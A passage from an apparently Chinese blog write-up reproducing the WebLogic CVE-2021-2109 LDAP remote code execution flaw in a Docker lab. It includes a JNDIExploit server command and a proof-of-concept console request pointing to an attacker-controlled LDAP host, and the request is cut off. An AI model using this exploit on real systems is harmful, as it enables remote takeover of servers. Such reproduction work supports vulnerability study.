Weblogic LDAP 远程代码执行漏洞(CVE-2021-2109)

CVE-2021-2109 Weblogic Server远程代码执行漏洞

影响范围

WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0

环境搭建

这个怎么搭都行,推荐采用docker镜像,例如以下两个docker镜像

  • 采用vulhub/weblogic/CVE-2020-14882的镜像(WebLogic Server 版本: 12.2.1.3.0)
  • 采用ismaleiva90/weblogic12镜像(WebLogic Server 版本: 12.1.3.0.0)
    (docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest)
    (User: weblogic Pass: welcome1)

手动搭建环境的话注意weblogic环境的JDK版本,需低于下图所示的版本(JDK 6u201、7u191、8u182、11.0.1版本或以上不受此漏洞的影响):
JDK版本

复现(两种方法)

方法一、需登录Weblogic控制台

1. 启动 LDAP服务+HTTP服务
root@dream2:/root/JNDIExploit # java -jar JNDIExploit-v1.11.jar -i 158.247.x.x
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...
2. 上POC:(抓取登陆时的数据包修改ldap链接)
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://158.247.x;x:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 139.180.x.x:49163
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 1
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值